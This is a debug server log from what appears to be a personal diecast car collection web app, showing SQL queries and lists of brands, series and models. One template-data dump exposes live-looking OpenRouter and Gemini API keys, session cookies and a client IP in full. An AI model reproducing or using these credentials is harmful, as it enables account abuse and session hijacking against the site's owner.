      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 162,
      model_name: 'Lamborghini Sián FKP 37',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Black Edition Gift Set',
      brand_id: 72,
      series_id: 193,
      case: '',
      vehicle_brand_name: 'Lamborghini',
      vehicle_brand_id: 115,
      condition: 'Uncarded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 161,
      model_name: 'Bugatti Chiron Pur Sport',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Black Edition Gift Set',
      brand_id: 72,
      series_id: 193,
      case: '',
      vehicle_brand_name: 'Bugatti',
      vehicle_brand_id: 129,
      condition: 'Uncarded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    }
  ]
}
2026-06-01T05:59:38.285Z server-connect:output manufacturer: [
  { id: 74, name: 'Bburago' },
  { id: 158, name: 'CCA' },
  { id: 71, name: 'Hotwheels' },
  { id: 191, name: 'Jams Toys' },
  { id: 72, name: 'Majorette' },
  { id: 73, name: 'Matchbox' }
]
2026-06-01T05:59:38.926Z server-connect:router Serving serverConnect /api/diecast/get-filters
2026-06-01T05:59:38.927Z server-connect:app Executing action step identify
2026-06-01T05:59:38.927Z server-connect:app options: { provider: 'security' }
2026-06-01T05:59:38.927Z server-connect:output identity: 1
2026-06-01T05:59:38.927Z server-connect:app Executing action step restrict
2026-06-01T05:59:38.927Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-06-01T05:59:38.928Z server-connect:output restrict: undefined
2026-06-01T05:59:38.928Z server-connect:app Executing action step select
2026-06-01T05:59:38.928Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select distinct `collections`.`id`, `collections`.`name` from `diecast_cars` inner join `collections` on `collections`.`id` = `diecast_cars`.`vehicle_brand_id` order by `collections`.`name` ASC',
    orders: [ [Object] ],
    distinct: true
  }
}
2026-06-01T05:59:38.929Z server-connect:output brand: [
  { id: 128, name: 'Alfa Romeo' },
  { id: 196, name: 'Alpine' },
  { id: 132, name: 'Audi' },
  { id: 136, name: 'Austin' },
  { id: 125, name: 'Bentley' },
  { id: 126, name: 'BMW' },
  { id: 129, name: 'Bugatti' },
  { id: 169, name: 'Cadillac' },
  { id: 118, name: 'Chevrolet' },
  { id: 152, name: 'Corvette ' },
  { id: 135, name: 'Czinger' },
  { id: 186, name: 'Datsun' },
  { id: 127, name: 'Dodge' },
  { id: 142, name: 'Fantasy' },
  { id: 124, name: 'Ferrari' },
  { id: 108, name: 'Ford' },
  { id: 139, name: 'Formula' },
  { id: 140, name: 'GMC' },
  { id: 138, name: 'Gordon Murray' },
  { id: 112, name: 'Honda' },
  { id: 133, name: 'Jaguar' },
  { id: 122, name: 'Jeep' },
  { id: 115, name: 'Lamborghini' },
  { id: 117, name: 'Land Rover' },
  { id: 197, name: 'Lexus' },
  { id: 185, name: 'Lotus' },
  { id: 184, name: 'Lucid' },
  { id: 157, name: 'Masserti' },
  { id: 137, name: 'Mazda' },
  { id: 155, name: 'MBX' },
  { id: 114, name: 'McLaren' },
  { id: 167, name: 'Mcmurtry' },
  { id: 113, name: 'Mercedes' },
  { id: 116, name: 'Nissan' },
  { id: 168, name: 'Pagani' },
  { id: 121, name: 'Peugeot' },
  { id: 192, name: 'Pierce' },
  { id: 190, name: 'Plymouth' },
  { id: 154, name: 'Polaris ' },
  { id: 134, name: 'Pontiac' },
  { id: 130, name: 'Porsche' },
  { id: 189, name: 'RAM' },
  { id: 109, name: 'Renault' },
  { id: 131, name: 'Scania' },
  { id: 183, name: 'Spider Man' },
  { id: 153, name: 'Subaru' },
  { id: 175, name: 'Suzuki' },
  { id: 119, name: 'Toyota' },
  { id: 111, name: 'Volkswagen' },
  { id: 123, name: 'Volvo' }
]
2026-06-01T05:59:38.929Z server-connect:app Executing action step select
2026-06-01T05:59:38.929Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select distinct `collections`.`id`, `collections`.`name` from `diecast_cars` inner join `collections` on `collections`.`id` = `diecast_cars`.`series` order by `collections`.`name` ASC',
    orders: [ [Object] ],
    distinct: true
  }
}
2026-06-01T05:59:38.929Z server-connect:output series: [
  { id: 92, name: 'Fantasy' },
  { id: 99, name: 'HW 70s vs 90s' },
  { id: 105, name: 'HW Art Cars' },
  { id: 161, name: 'HW Batman' },
  { id: 98, name: 'HW Celebration Racers' },
  { id: 149, name: 'HW Compact Kings' },
  { id: 94, name: 'HW Dirt' },
  { id: 179, name: 'HW Euro' },
  { id: 107, name: 'HW EV' },
  { id: 170, name: 'HW Exotics' },
  { id: 166, name: 'HW Experimotors' },
  { id: 145, name: 'HW Factory Fresh' },
  { id: 159, name: 'HW Fan Driver' },
  { id: 97, name: 'HW Hot Trucks' },
  { id: 165, name: 'HW Metro' },
  { id: 103, name: 'HW Modified' },
  { id: 96, name: 'HW Muscle Mania' },
  { id: 147, name: 'HW Mustang 60th' },
  { id: 164, name: 'HW Nightspeed' },
  { id: 180, name: 'HW Pantone' },
  { id: 106, name: 'HW Peak Pursuit' },
  { id: 181, name: 'HW Pop Culture' },
  { id: 95, name: 'HW Race day' },
  { id: 150, name: 'HW Reverse Rake' },
  { id: 178, name: 'HW Ride-Ons' },
  { id: 151, name: 'HW Rod Squad' },
  { id: 144, name: 'HW Safari Mode' },
  { id: 176, name: 'HW Silver Series' },
  { id: 163, name: 'HW Starting Grid' },
  { id: 101, name: 'HW Then and now' },
  { id: 146, name: 'HW Track Aces' },
  { id: 100, name: 'HW Track Champs' },
  { id: 160, name: "HW Truckin' Along" },
  { id: 102, name: 'HW Wagons' },
  { id: 104, name: 'HW Wide Widebody' },
  { id: 148, name: 'HW Wild Widebody' },
  { id: 75, name: 'Mainline' },
  { id: 193, name: 'Majorette Black Edition Gift Set' },
  { id: 195, name: 'Majorette Castheads Gift Set' },
  { id: 171, name: 'Majorette Dream Italy Gift Set' },
  { id: 172, name: 'Majorette Light Racer Gift Set' },
  { id: 174, name: 'Majorette Limited Edition 9 Gift Set' },
  { id: 194, name: 'Majorette Mercedes AMG Gift Set' },
  { id: 173, name: 'Majorette Porsche Edition Gift Set' },
  { id: 83, name: 'Moving Parts' },
  { id: 162, name: 'Neon Speeders - Mix 2' }
]
2026-06-01T05:59:38.929Z server-connect:app Executing action step select
2026-06-01T05:59:38.929Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select distinct `collections`.`id`, `collections`.`name` from `diecast_cars` inner join `collections` on `collections`.`id` = `diecast_cars`.`brand_id` order by `collections`.`name` ASC',
    orders: [ [Object] ],
    distinct: true
  }
}
2026-06-01T05:59:38.930Z server-connect:output manufacturer: [
  { id: 74, name: 'Bburago' },
  { id: 158, name: 'CCA' },
  { id: 71, name: 'Hotwheels' },
  { id: 191, name: 'Jams Toys' },
  { id: 72, name: 'Majorette' },
  { id: 73, name: 'Matchbox' }
]
2026-06-01T05:59:39.233Z server-connect:router Serving templateView /diecast
2026-06-01T05:59:39.234Z server-connect:app Executing action step identify
2026-06-01T05:59:39.234Z server-connect:app options: { provider: 'security' }
2026-06-01T05:59:39.234Z server-connect:output identity: 1
2026-06-01T05:59:39.234Z server-connect:app Executing action step restrict
2026-06-01T05:59:39.234Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-06-01T05:59:39.234Z server-connect:output restrict: undefined
2026-06-01T05:59:39.234Z server-connect:router Render template diecast
2026-06-01T05:59:39.235Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': { fragment: 'true' },
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua-platform': '"Windows"',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Safari/537.36',
    accept: 'text/fragment+html',
    'sec-ch-ua': '"Chromium";v="148", "Google Chrome";v="148", "Not/A)Brand";v="99"',
    'sec-ch-ua-mobile': '?0',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'cors',
    'sec-fetch-dest': 'empty',
    referer: 'https://ems.sanjaychaurasia.xyz/diecast',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    priority: 'u=1, i',
    cookie: 'security.auth=s%3AP1jlktr9Yj7k0BYHeakHTw%3D%3D.CMVIq7e2BMS%2BR0QPCT1%2B%2BkijsOVeqetjhIlYYf3CRTB6EIgEPcBgZK8K480mlbCi6W9bp2gJhogNLcL58wNei4%2BkPnWBo16Eiqa19tA2T6fVTpIfxDiLXOciJ24jcigrQX5wLUeSHMx2lFI%2BHbX2o5%2BFn1OhhiasA9cs8WynscM%3D.KYhZY34DEuhF7IlWu7wFZA89hCp7SCCq2j%2FS1cCovAg; your_r_git.sid=s%3A_tJF2Du4IosC1AXXWDNYaWDV5CS3IfgJ.ff8noBBbQ4aEF5igunTLAAYOFVAtX%2BRaey5jgrfLcIg',
    'x-forwarded-for': '65.20.70.39',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-06-02T05:57:21.903Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/diecast',
    QUERY_STRING: 'fragment=true',
    REMOTE_ADDR: '65.20.70.39',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/diecast',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/fragment+html',
    'HTTP_SEC_CH-UA': '"Chromium";v="148", "Google Chrome";v="148", "Not/A)Brand";v="99"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'cors',
    'HTTP_SEC_FETCH-DEST': 'empty',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/diecast',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    HTTP_PRIORITY: 'u=1, i',
    HTTP_COOKIE: 'security.auth=s%3AP1jlktr9Yj7k0BYHeakHTw%3D%3D.CMVIq7e2BMS%2BR0QPCT1%2B%2BkijsOVeqetjhIlYYf3CRTB6EIgEPcBgZK8K480mlbCi6W9bp2gJhogNLcL58wNei4%2BkPnWBo16Eiqa19tA2T6fVTpIfxDiLXOciJ24jcigrQX5wLUeSHMx2lFI%2BHbX2o5%2BFn1OhhiasA9cs8WynscM%3D.KYhZY34DEuhF7IlWu7wFZA89hCp7SCCq2j%2FS1cCovAg; your_r_git.sid=s%3A_tJF2Du4IosC1AXXWDNYaWDV5CS3IfgJ.ff8noBBbQ4aEF5igunTLAAYOFVAtX%2BRaey5jgrfLcIg',
    'HTTP_X_FORWARDED-FOR': '65.20.70.39',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1
}
2026-06-01T05:59:39.509Z server-connect:router Serving serverConnect /api/diecast/get-filters
2026-06-01T05:59:39.511Z server-connect:router Serving serverConnect /api/masters/collections/list
2026-06-01T05:59:39.512Z server-connect:router Serving serverConnect /api/masters/collections/list
2026-06-01T05:59:39.513Z server-connect:router Serving serverConnect /api/masters/collections/list
2026-06-01T05:59:39.513Z server-connect:app Executing action step identify
2026-06-01T05:59:39.513Z server-connect:app options: { provider: 'security' }
2026-06-01T05:59:39.513Z server-connect:output identity: 1
2026-06-01T05:59:39.513Z server-connect:app Executing action step restrict
2026-06-01T05:59:39.513Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-06-01T05:59:39.514Z server-connect:router Serving serverConnect /api/diecast/list
2026-06-01T05:59:39.514Z server-connect:output restrict: undefined
2026-06-01T05:59:39.514Z server-connect:app Executing action step select
2026-06-01T05:59:39.514Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select distinct `collections`.`id`, `collections`.`name` from `diecast_cars` inner join `collections` on `collections`.`id` = `diecast_cars`.`vehicle_brand_id` order by `collections`.`name` ASC',
    orders: [ [Object] ],
    distinct: true
  }
}
2026-06-01T05:59:39.514Z server-connect:app Executing action step identify
2026-06-01T05:59:39.514Z server-connect:app options: { provider: 'security' }
2026-06-01T05:59:39.514Z server-connect:output identity: 1
2026-06-01T05:59:39.514Z server-connect:app Executing action step restrict
2026-06-01T05:59:39.514Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-06-01T05:59:39.515Z server-connect:output brand: [
  { id: 128, name: 'Alfa Romeo' },
  { id: 196, name: 'Alpine' },
  { id: 132, name: 'Audi' },
  { id: 136, name: 'Austin' },
  { id: 125, name: 'Bentley' },
  { id: 126, name: 'BMW' },
  { id: 129, name: 'Bugatti' },
  { id: 169, name: 'Cadillac' },
  { id: 118, name: 'Chevrolet' },
  { id: 152, name: 'Corvette ' },
  { id: 135, name: 'Czinger' },
  { id: 186, name: 'Datsun' },
  { id: 127, name: 'Dodge' },
  { id: 142, name: 'Fantasy' },
  { id: 124, name: 'Ferrari' },
  { id: 108, name: 'Ford' },
  { id: 139, name: 'Formula' },
  { id: 140, name: 'GMC' },
  { id: 138, name: 'Gordon Murray' },
  { id: 112, name: 'Honda' },
  { id: 133, name: 'Jaguar' },
  { id: 122, name: 'Jeep' },
  { id: 115, name: 'Lamborghini' },
  { id: 117, name: 'Land Rover' },
  { id: 197, name: 'Lexus' },
  { id: 185, name: 'Lotus' },
  { id: 184, name: 'Lucid' },
  { id: 157, name: 'Masserti' },
  { id: 137, name: 'Mazda' },
  { id: 155, name: 'MBX' },
  { id: 114, name: 'McLaren' },
  { id: 167, name: 'Mcmurtry' },
  { id: 113, name: 'Mercedes' },
  { id: 116, name: 'Nissan' },
  { id: 168, name: 'Pagani' },
  { id: 121, name: 'Peugeot' },
  { id: 192, name: 'Pierce' },
  { id: 190, name: 'Plymouth' },
  { id: 154, name: 'Polaris ' },
  { id: 134, name: 'Pontiac' },
  { id: 130, name: 'Porsche' },
  { id: 189, name: 'RAM' },
  { id: 109, name: 'Renault' },
  { id: 131, name: 'Scania' },
  { id: 183, name: 'Spider Man' },
  { id: 153, name: 'Subaru' },
  { id: 175, name: 'Suzuki' },
  { id: 119, name: 'Toyota' },
  { id: 111, name: 'Volkswagen' },
  { id: 123, name: 'Volvo' }
]
2026-06-01T05:59:39.515Z server-connect:app Executing action step select
2026-06-01T05:59:39.515Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select distinct `collections`.`id`, `collections`.`name` from `diecast_cars` inner join `collections` on `collections`.`id` = `diecast_cars`.`series` order by `collections`.`name` ASC',
    orders: [ [Object] ],
    distinct: true
  }
}
2026-06-01T05:59:39.515Z server-connect:app Executing action step identify
2026-06-01T05:59:39.515Z server-connect:app options: { provider: 'security' }
2026-06-01T05:59:39.515Z server-connect:output identity: 1
2026-06-01T05:59:39.516Z server-connect:app Executing action step restrict
2026-06-01T05:59:39.516Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-06-01T05:59:39.516Z server-connect:output series: [
  { id: 92, name: 'Fantasy' },
  { id: 99, name: 'HW 70s vs 90s' },
  { id: 105, name: 'HW Art Cars' },
  { id: 161, name: 'HW Batman' },
  { id: 98, name: 'HW Celebration Racers' },
  { id: 149, name: 'HW Compact Kings' },
  { id: 94, name: 'HW Dirt' },
  { id: 179, name: 'HW Euro' },
  { id: 107, name: 'HW EV' },
  { id: 170, name: 'HW Exotics' },
  { id: 166, name: 'HW Experimotors' },
  { id: 145, name: 'HW Factory Fresh' },
  { id: 159, name: 'HW Fan Driver' },
  { id: 97, name: 'HW Hot Trucks' },
  { id: 165, name: 'HW Metro' },
  { id: 103, name: 'HW Modified' },
  { id: 96, name: 'HW Muscle Mania' },
  { id: 147, name: 'HW Mustang 60th' },
  { id: 164, name: 'HW Nightspeed' },
  { id: 180, name: 'HW Pantone' },
  { id: 106, name: 'HW Peak Pursuit' },
  { id: 181, name: 'HW Pop Culture' },
  { id: 95, name: 'HW Race day' },
  { id: 150, name: 'HW Reverse Rake' },
  { id: 178, name: 'HW Ride-Ons' },
  { id: 151, name: 'HW Rod Squad' },
  { id: 144, name: 'HW Safari Mode' },
  { id: 176, name: 'HW Silver Series' },
  { id: 163, name: 'HW Starting Grid' },
  { id: 101, name: 'HW Then and now' },
  { id: 146, name: 'HW Track Aces' },
  { id: 100, name: 'HW Track Champs' },
  { id: 160, name: "HW Truckin' Along" },
  { id: 102, name: 'HW Wagons' },
  { id: 104, name: 'HW Wide Widebody' },
  { id: 148, name: 'HW Wild Widebody' },
  { id: 75, name: 'Mainline' },
  { id: 193, name: 'Majorette Black Edition Gift Set' },
  { id: 195, name: 'Majorette Castheads Gift Set' },
  { id: 171, name: 'Majorette Dream Italy Gift Set' },
  { id: 172, name: 'Majorette Light Racer Gift Set' },
  { id: 174, name: 'Majorette Limited Edition 9 Gift Set' },
  { id: 194, name: 'Majorette Mercedes AMG Gift Set' },
  { id: 173, name: 'Majorette Porsche Edition Gift Set' },
  { id: 83, name: 'Moving Parts' },
  { id: 162, name: 'Neon Speeders - Mix 2' }
]
2026-06-01T05:59:39.517Z server-connect:app Executing action step select
2026-06-01T05:59:39.517Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select distinct `collections`.`id`, `collections`.`name` from `diecast_cars` inner join `collections` on `collections`.`id` = `diecast_cars`.`brand_id` order by `collections`.`name` ASC',
    orders: [ [Object] ],
    distinct: true
  }
}
2026-06-01T05:59:39.517Z server-connect:app Executing action step identify
2026-06-01T05:59:39.517Z server-connect:app options: { provider: 'security' }
2026-06-01T05:59:39.517Z server-connect:output identity: 1
2026-06-01T05:59:39.517Z server-connect:app Executing action step restrict
2026-06-01T05:59:39.517Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-06-01T05:59:39.518Z server-connect:output restrict: undefined
2026-06-01T05:59:39.518Z server-connect:app Executing action step select
2026-06-01T05:59:39.518Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `name`, `id` from `collections` where `collections`.`collectiontype_id` = ?'
  }
}
2026-06-01T05:59:39.518Z server-connect:output restrict: undefined
2026-06-01T05:59:39.518Z server-connect:app Executing action step select
2026-06-01T05:59:39.518Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `name`, `id` from `collections` where `collections`.`collectiontype_id` = ?'
  }
}
2026-06-01T05:59:39.519Z server-connect:output manufacturer: [
  { id: 74, name: 'Bburago' },
  { id: 158, name: 'CCA' },
  { id: 71, name: 'Hotwheels' },
  { id: 191, name: 'Jams Toys' },
  { id: 72, name: 'Majorette' },
  { id: 73, name: 'Matchbox' }
]
2026-06-01T05:59:39.519Z server-connect:app Executing action step identify
2026-06-01T05:59:39.519Z server-connect:app options: { provider: 'security' }
2026-06-01T05:59:39.519Z server-connect:output identity: 1
2026-06-01T05:59:39.520Z server-connect:app Executing action step restrict
2026-06-01T05:59:39.520Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-06-01T05:59:39.520Z server-connect:output list: [
  { name: 'Hotwheels', id: 71 },
  { name: 'Majorette', id: 72 },
  { name: 'Matchbox', id: 73 },
  { name: 'Bburago', id: 74 },
  { name: 'Maisto', id: 143 },
  { name: 'CCA', id: 158 },
  { name: 'Jams Toys', id: 191 }
]
2026-06-01T05:59:39.521Z server-connect:output restrict: undefined
2026-06-01T05:59:39.521Z server-connect:app Executing action step select
2026-06-01T05:59:39.521Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `name`, `id` from `collections` where `collections`.`collectiontype_id` = ?'
  }
}
2026-06-01T05:59:39.522Z server-connect:output list: [
  { name: 'Mainline', id: 75 },
  { name: 'Premium', id: 76 },
  { name: 'Treasure Hunt', id: 77 },
  { name: 'Super Treasure Hunt', id: 78 },
  { name: 'Car Culture', id: 79 },
  { name: 'HW Red Line Club', id: 80 },
  { name: 'Multipack', id: 81 },
  { name: 'Exclusive', id: 82 },
  { name: 'Moving Parts', id: 83 },
  { name: 'Collectors', id: 84 },
  { name: 'Racing Cars', id: 85 },
  { name: 'Vintage', id: 86 },
  { name: 'Deluxe Cars', id: 87 },
  { name: 'Giftpack', id: 88 },
  { name: 'Construction', id: 89 },
  { name: 'Emergency', id: 90 },
  { name: 'Basic', id: 91 },
  { name: 'Fantasy', id: 92 },
  { name: 'Other', id: 93 },
  { name: 'HW Dirt', id: 94 },
  { name: 'HW Race day', id: 95 },
  { name: 'HW Muscle Mania', id: 96 },
  { name: 'HW Hot Trucks', id: 97 },
  { name: 'HW Celebration Racers', id: 98 },
  { name: 'HW 70s vs 90s', id: 99 },
  { name: 'HW Track Champs', id: 100 },
  { name: 'HW Then and now', id: 101 },
  { name: 'HW Wagons', id: 102 },
  { name: 'HW Modified', id: 103 },
  { name: 'HW Wide Widebody', id: 104 },
  { name: 'HW Art Cars', id: 105 },
  { name: 'HW Peak Pursuit', id: 106 },
  { name: 'HW EV', id: 107 },
  { name: 'HW Safari Mode', id: 144 },
  { name: 'HW Factory Fresh', id: 145 },
  { name: 'HW Track Aces', id: 146 },
  { name: 'HW Mustang 60th', id: 147 },
  { name: 'HW Wild Widebody', id: 148 },
  { name: 'HW Compact Kings', id: 149 },
  { name: 'HW Reverse Rake', id: 150 },
  { name: 'HW Rod Squad', id: 151 },
  { name: 'HW Fan Driver', id: 159 },
  { name: "HW Truckin' Along", id: 160 },
  { name: 'HW Batman', id: 161 },
  { name: 'Neon Speeders - Mix 2', id: 162 },
  { name: 'HW Starting Grid', id: 163 },
  { name: 'HW Nightspeed', id: 164 },
  { name: 'HW Metro', id: 165 },
  { name: 'HW Experimotors', id: 166 },
  { name: 'HW Exotics', id: 170 },
  { name: 'Majorette Dream Italy Gift Set', id: 171 },
  { name: 'Majorette Light Racer Gift Set', id: 172 },
  { name: 'Majorette Porsche Edition Gift Set', id: 173 },
  { name: 'Majorette Limited Edition 9 Gift Set', id: 174 },
  { name: 'HW Silver Series', id: 176 },
  { name: 'HW Ride-Ons', id: 178 },
  { name: 'HW Euro', id: 179 },
  { name: 'HW Pantone', id: 180 },
  { name: 'HW Pop Culture', id: 181 },
  { name: 'Majorette Black Edition Gift Set', id: 193 },
  { name: 'Majorette Mercedes AMG Gift Set', id: 194 },
  { name: 'Majorette Castheads Gift Set', id: 195 }
]
2026-06-01T05:59:39.522Z server-connect:output restrict: undefined
2026-06-01T05:59:39.522Z server-connect:app Executing action step paged
2026-06-01T05:59:39.523Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [
      [Object], [Object], [Object],
      [Object], [Object], [Object],
      [Object], [Object], [Object],
      [Object], [Object], [Object],
      [Object], [Object], [Object],
      [Object], [Object], [Object],
      [Object]
    ],
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object], [Object], [Object] ],
    sub: { diecast_images: [Object] },
    query: 'select `diecast_cars`.`id`, `diecast_cars`.`model_name`, `diecast_cars`.`release_year`, `diecast_cars`.`scale`, `diecast_cars`.`has_real_car`, `diecast_cars`.`purchase_date`, `diecast_cars`.`price`, `c1`.`name` as `brand`, `c2`.`name` as `series`, `diecast_cars`.`brand_id`, `diecast_cars`.`series` as `series_id`, `diecast_cars`.`case`, `c3`.`name` as `vehicle_brand_name`, `diecast_cars`.`vehicle_brand_id`, `diecast_cars`.`condition`, `diecast_cars`.`yt_short_created`, `diecast_cars`.`yt_video_created`, `diecast_cars`.`photoshoot`, `diecast_cars`.`overview_created` from `diecast_cars` left join `collections` as `c1` on `c1`.`id` = `diecast_cars`.`brand_id` left join `collections` as `c2` on `c2`.`id` = `diecast_cars`.`series` left join `collections` as `c3` on `c3`.`id` = `diecast_cars`.`vehicle_brand_id` where (`diecast_cars`.`model_name` like ? or `diecast_cars`.`release_year` = ? or `c1`.`name` like ? or `c2`.`name` like ?) and (`diecast_cars`.`brand_id` = ?) and (`diecast_cars`.`series` = ?) and (`diecast_cars`.`vehicle_brand_id` = ?) and (`diecast_cars`.`condition` = ?) and (`diecast_cars`.`yt_short_created` = ?) and (`diecast_cars`.`yt_video_created` = ?) and (`diecast_cars`.`photoshoot` = ?) and (`diecast_cars`.`overview_created` = ?) order by `diecast_cars`.`id` DESC',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    orders: [ [Object] ]
  }
}
2026-06-01T05:59:39.524Z server-connect:output list: [
  { name: 'Ford', id: 108 },
  { name: 'Renault', id: 109 },
  { name: 'Citroën', id: 110 },
  { name: 'Volkswagen', id: 111 },
  { name: 'Honda', id: 112 },
  { name: 'Mercedes', id: 113 },
  { name: 'McLaren', id: 114 },
  { name: 'Lamborghini', id: 115 },
  { name: 'Nissan', id: 116 },
  { name: 'Land Rover', id: 117 },
  { name: 'Chevrolet', id: 118 },
  { name: 'Toyota', id: 119 },
  { name: 'Mitsubishi', id: 120 },
  { name: 'Peugeot', id: 121 },
  { name: 'Jeep', id: 122 },
  { name: 'Volvo', id: 123 },
  { name: 'Ferrari', id: 124 },
  { name: 'Bentley', id: 125 },
  { name: 'BMW', id: 126 },
  { name: 'Dodge', id: 127 },
  { name: 'Alfa Romeo', id: 128 },
  { name: 'Bugatti', id: 129 },
  { name: 'Porsche', id: 130 },
  { name: 'Scania', id: 131 },
  { name: 'Audi', id: 132 },
  { name: 'Jaguar', id: 133 },
  { name: 'Pontiac', id: 134 },
